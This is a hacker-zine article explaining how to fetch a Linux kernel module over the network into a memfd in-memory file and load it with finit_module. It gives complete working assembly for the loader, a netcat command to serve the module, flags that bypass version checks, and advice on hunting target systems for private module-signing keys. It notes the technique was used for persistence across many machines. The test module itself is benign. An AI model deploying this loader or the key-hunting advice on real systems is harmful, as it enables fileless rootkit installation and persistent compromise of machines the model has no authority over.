                                                       ┌───────────────────────┐
                                                       ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                       │ █   █ █ █ █   █       │
                                                       │ █   █ █ █ █▀▀▀▀       │
                                                       │ █   █   █ █     ▄     │
                                                       │                 ▄▄▄▄▄ │
                                                       │                 █   █ │
                                                       │                 █   █ │
                                                       │                 █▄▄▄█ │
                                                       │                 ▄   ▄ │
                                                       │                 █   █ │
                                                       │                 █   █ │
                                                       │                 █▄▄▄█ │
                                                       │                 ▄▄▄▄▄ │
                                                       │                   █   │
In-Memory Kernel Module Loading                        │                   █   │
~ netspooky                                            └───────────────────█ ──┘

Since some changes to the Linux kernel in the past year have destroyed the old
methodology of x86_64 binary golf, I figured it'd be fun to briefly touch on a
technique for loading kernel modules from remote sources. We will discuss two 
useful syscalls for your LKM loader, as well as some things to consider when
using this approach.

───[ Building A Test Module ]───────────────────────────────────────────────────

We will start by building a simple kernel module to test with. All it will do is
print a message to the kernel ring buffer (view with the `dmesg` command).

    // bang.c
    #include <linux/module.h>
    #include <linux/init.h>
    
    MODULE_LICENSE("GPL");
    
    static int __init he(void) {
        printk(KERN_INFO"we out here :}\n");
        return 0;
    }
    
    static void __exit le(void) {
        printk(KERN_INFO"we are no longer out here :{\n");
    }
    
    module_init(he);
    module_exit(le);

A simple Makefile to build it:

    obj-m += bang.o
    dir = $(shell uname -rm | sed -e 's/\s/\-/')
    
    all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
    
    strip: all
        strip bang.ko
        mkdir -p $(dir)
        cp -v bang.ko $(dir)/he.ko
    
    load: all
        sudo insmod bang.ko
    
    unload:
        sudo rmmod bang
    
    clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

To build, just run `make`.

Serve on port 42000 with `cat bang.ko | nc -k -lvp 42000`

───[ The Loader ]───────────────────────────────────────────────────────────────

The loader we will be using is fairly straight forward, but I will go over it in
detail for those who are learning these techniques for further development.

We are going to download this module into an in memory file. So we will start 
by first creating a socket to our server (127.0.0.1:42000) that hosts the kernel
module. We will then create a memfd file to download to the target.

The memfd_create syscall was created as a method to have temporary files that 
aren't associated with any file system. They are a convenient way to write to a
file that only exists for the life of your program, and gives you the benefit of
having both a temporary path, and a file descriptor.

See an example of executing a memfd file from /proc/self/fd/4 here:
  https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100

Once we've got our memfd file set up, we read the socket buffer from the remote
host, and write it to our file descriptor.

After the file has been downloaded to our memfd file, we use the finit_module 
syscall to load a kernel module via a file descriptor.

───[ kl.asm ]───────────────────────────────────────────────────────────────────

;-- Download a kernel module from 127.0.0.1:42000 to memory and load -------//--
;  __  __ .   __  __  __  __ .  .  . setup:
; |  ||__||_ |__ |__||  ||  ||_/|  |   $ cat somekernelmodule.ko | nc -lvp 42000
; |  ||   |     ||   |o ||o ||\ |__| build:
; |  ||__ |__ __||   |__||__|| \ __|   $ nasm -f elf64 kl.asm ; ld kl.o -o kl
;-------------------------------------------------------------------------------
section .text
global _start
_start:
; socket -----------------------------------------------------------------------
; Setting up the socket
; int socket(int domain, int type, int protocol);
;  rdi = int domain
;  rsi = int type
;  rdx = int protocol 
;-------------------------------------------------------------------------------
  push byte 0x29               ; Push socket syscall number
  pop rax                      ; RAX = socket syscall
  push byte 0x2                ; Push domain: AF_INET
  pop rdi                      ; RDI = AF_INET
  push byte 0x1                ; Push type: SOCK_STREAM
  pop rsi                      ; RSI = SOCK_STREAM
  cdq                          ; RDX = 0
  syscall                      ; socket syscall
; connect ----------------------------------------------------------------------
; We connect to our host to grab the file buffer
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;  rdi = int sockfd
;  rsi = const struct sockaddr *addr
;  rdx = socklen_t addrlen
;-------------------------------------------------------------------------------
  xchg rdi, rax                ; int sockfd
  mov rbx, rdi                 ; Save sockfd in rbx too for later
  mov dword [rsp-4], 0x100007F ; Our IP   = 127.0.0.1
  mov word  [rsp-6], 0x10A4    ; Our Port = 42000
  mov byte  [rsp-8], 0x02      ; sockfd
  sub rsp, 8                   ; Line up
  push byte 0x2a               ; Push connect syscall number
  pop rax                      ; RAX = connect syscall
  mov rsi, rsp                 ; const struct sockaddr *addr
  push byte 0x10               ; length
  pop rdx                      ; length -> rdx
  syscall                      ; Execute the connect syscall
; memfd_create -----------------------------------------------------------------
; We are creating a virtual file to save our socket buffer to.
; int memfd_create(const char *name, unsigned int flags);
;  rdi = const char *pathname
;  rsi = int flags
;-------------------------------------------------------------------------------
  mov ax, 0x13f                ; The syscall
  push 0x474e4142              ; Filename BANG (GNAB here)
  mov rdi, rsp                 ; Arg0: The file name
  xor rsi, rsi                 ; int flags
  syscall                      ; Execute memfd_create syscall
; read -------------------------------------------------------------------------
; We are reading the socket buffer to a buffer to save to local file
; ssize_t read(socket sockfd,buf,len)
;  rdi = int fd  
;  rsi = void *buf 
;  rdx = size_t count     
;-------------------------------------------------------------------------------
  mov r9, rax                  ; Save the local file descriptor
  mov rdx, 0x400               ; size_t count = 1024 bytes 
rwloop:
  mov rdi, rbx                 ; Move sockFD to RDI
  xor rax, rax                 ; 0 is read sycall
  lea rsi, [rsp-1024]          ; buffer to hold output - arg1 *buf
  syscall                      ; Read syscall
; write ------------------------------------------------------------------------
; We are writing the socket buffer to our local file
; ssize_t sys_write(fd,*buf,count)
;  rdi = int fd  
;  rsi = const *buf 
;  rdx = size_t count     
;-------------------------------------------------------------------------------
  mov rdi, r9                  ; Copy the file descriptor from our local file
  mov rdx, rax                 ; RDX = # of bytes read, 0 means end of file
  xor rax, rax                 ; RAX = 0
  mov al, 1                    ; Syscall number
  syscall                      ; Write syscall
  cmp dx, 0x400                ; Check if there are still bytes left to read
  je rwloop                    ; Loop if so
; finit_module -----------------------------------------------------------------
; Load the kernel module via a file descriptor
; int finit_module(int fd, const char *param_values, int flags);
;  rdi = int fd - The file descriptor
;  rsi = const char *param_values
;  rdx = int flags
;-------------------------------------------------------------------------------
  xor rax, rax                 ; RAX = 0
  push rax                     ; param_values
  mov rsi, rsp                 ; RSI = *param_values
  mov rax, 0x139               ; finit_module syscall
  mov rdi, r9                  ; int fd
  xor rdx, rdx                 ; int flags 
  syscall                      ; finit_module syscall
;--- Exit ----------------------------------------------------------------------
; void exit(int status);
;  rdi = int status
;-------------------------------------------------------------------------------
  mov rax, 0x3c                ; Exit Syscall
  mov rdi, 0x45                ; Return 69 for integrity check
  syscall                      ; Peace out

───[ finit_module flags ]───────────────────────────────────────────────────────

The finit_module syscall is an interesting way to load a kernel module in Linux.
Normally, the init_module syscall will load a module from a pointer in memory.
The finit_module syscall loads a kernel module from a file descriptor, and also 
has some unique ways to override the normal checks done before loading a module
image. NOTE: finit_module flags are only usable if the target kernel is built to
allow force loading. (See next section for details)

The flags to override are defined in include/uapi/linux/module.h, and are OR'd
and passed in the syscall in RDX.

    /* Flags for sys_finit_module: */
    #define MODULE_INIT_IGNORE_MODVERSIONS  1
    #define MODULE_INIT_IGNORE_VERMAGIC     2

The MODULE_INIT_IGNORE_MODVERSIONS flag ignores the symbol version hashes, and
the MODULE_INIT_IGNORE_VERMAGIC flag ignores the kernel version magic value in
the module. These both can be used to force the module into the kernel when
they otherwise would be rejected. This can cause some undefined behavior and
break the kernel, so use these flags with caution!

finit_module describes this functionality as:

  ..useful when the authenticity of a kernel module can be determined from its
  location in the filesystem; in cases where that is possible, the overhead of
  using cryptographically signed modules to determine the authenticity of a
  module can be avoided. 

  - man 2 finit_module

───[ Determining Compatibility ]────────────────────────────────────────────────

The tricky part about loading kernel modules in general is that there are many
different configurations that can allow or disallow certain types of modules, or
ways of loading them into the kernel. These are some of the kernel config flags
you should know about before trying to load your module.

::: CONFIG_MODVERSIONS :::

If this is set, (eg CONFIG_MODVERSIONS=y), then you should be able to load 
kernel modules compiled for different kernels.

Check: 

  $ grep CONFIG_MODVERSIONS /boot/config-YOURKERNELVERSION
  CONFIG_MODVERSIONS=y

More Info: https://cateee.net/lkddb/web-lkddb/MODVERSIONS.html

::: CONFIG_MODULE_SIG_FORCE :::

If this is set, then you won't be able to load unsigned modules.

Check:

  $ grep CONFIG_MODULE_SIG_FORCE /boot/config-YOURKERNELVERSION
  # CONFIG_MODULE_SIG_FORCE is not set

More Info: https://cateee.net/lkddb/web-lkddb/MODULE_SIG_FORCE.html

PROTIP: You can enumerate the system for prexisting trusted keys that may be 
there depending on the system you are targeting.

Examples

  /var/lib/shim-signed/mok/MOK.priv & /var/lib/shim-signed/mok/MOK.der 
  /usr/src/LINUX/certs/signing_key.pem & /usr/src/LINUX/certs/signing_key.x509

::: CONFIG_MODULE_FORCE_LOAD :::

If this is set, this allows loading modules without version information. This
should be set if attempting to use the finit_module flags. If it is not set and
you use the flags to override, it'll fail with ENOEXEC.

Check: 

  $ grep CONFIG_MODULE_FORCE_LOAD /boot/config-YOURKERNELVERSION
  # CONFIG_MODULE_FORCE_LOAD is not set

More info: https://cateee.net/lkddb/web-lkddb/MODULE_FORCE_LOAD.html

───[ .fini ]────────────────────────────────────────────────────────────────────

We were using this technique when golfing kernel modules and testing the loader.
It was also used during WRCCDC in the form of a one-liner that was helpful in
establishing ad hoc persistence across many machines of the same configuration.

This is just one of the many ways to load a kernel module. There's a lot to 
explore, and I hope this inspires you to play around! 

Shout out to everyone in: tmp.0ut, thugcrowd, vxug, tcpd

PS. Look for a new ELF Binary Mangling article in the coming issues of tmp.0ut!
